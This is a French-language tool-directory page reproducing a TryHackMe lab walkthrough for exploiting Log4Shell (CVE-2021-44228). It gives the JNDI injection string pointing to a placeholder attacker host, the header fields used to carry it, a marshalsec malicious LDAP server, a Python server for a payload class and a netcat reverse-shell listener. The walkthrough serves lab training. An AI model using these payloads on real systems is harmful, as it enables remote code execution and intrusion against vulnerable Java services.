Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
solar-exploiting-log4j — This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution. | Kitploit
Outils/GitHubGitHub/lavanya2085/solar-exploiting-log4j
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHublavanya2085/solar-exploiting-log4j

solar-exploiting-log4j

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Voir le dépôt
il y a 5 moisPas encore vérifié

This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution.

Partager

🔥 Exploitation Solaire de Log4j - Guide TryHackMe

📌 Salle : Exploitation Solaire de Log4j

Plateforme : TryHackMe
Difficulté : Moyenne
Sujet : Log4Shell (Vulnérabilité Log4j)


🧠 Objectif

Exploiter la vulnérabilité Log4j (CVE-2021-44228) pour obtenir une exécution de code à distance et capturer les drapeaux.


🛠️ Outils Utilisés

  • Nmap
  • Burp Suite
  • cURL
  • Netcat
  • Serveur HTTP Python

🌐 Étape 1 : Reconnaissance

🔍 Scan de la Cible

root@kitploit:~
nmap -sC -sV <TARGET_IP>

📌 Résultats

  • Ports ouverts : 80 (HTTP), d'autres selon la salle
  • Application web avec backend Java

🌐 Étape 2 : Énumération Web

  • Visiter l'application web dans le navigateur
  • Interagir avec les champs (connexion/recherche/en-têtes)
  • Capturer la requête avec Burp Suite

💥 Étape 3 : Identifier la Vulnérabilité Log4j

La vulnérabilité Log4j permet l'injection JNDI :

root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/a}

Si l'entrée est journalisée → la vulnérabilité existe.


⚙️ Étape 4 : Configurer le Listener

Démarrer Netcat

root@kitploit:~
nc -lvnp 4444

Démarrer le Serveur LDAP Malveillant (Exemple)

root@kitploit:~
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

Exécuter le serveur LDAP :

root@kitploit:~
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

📡 Étape 5 : Héberger la Charge Utile

root@kitploit:~
python3 -m http.server 8000

Créer une classe Java malveillante (Exploit.class)


🚀 Étape 6 : Déclencher l'Exploitation

Injecter la charge utile dans le champ vulnérable :

root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 Utiliser des en-têtes comme :

  • User-Agent
  • X-Api-Version

🖥️ Étape 7 : Obtenir un Shell Inversé

Une fois déclenché :

  • La cible se reconnecte au listener Netcat
  • Vous obtenez un accès shell

🔐 Étape 8 : Élévation de Privilèges (si nécessaire)

Vérifier :

root@kitploit:~
sudo -l

Rechercher :

  • Binaires SUID mal configurés
  • Fichiers modifiables
  • Tâches Cron

🚩 Étape 9 : Capturer les Drapeaux

root@kitploit:~
find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 Concepts Clés Appris

  • Log4Shell (CVE-2021-44228)
  • Injection JNDI
  • Exécution de Code à Distance (RCE)
  • Shell Inversé
  • Exploitation Web

Télécharger l’outil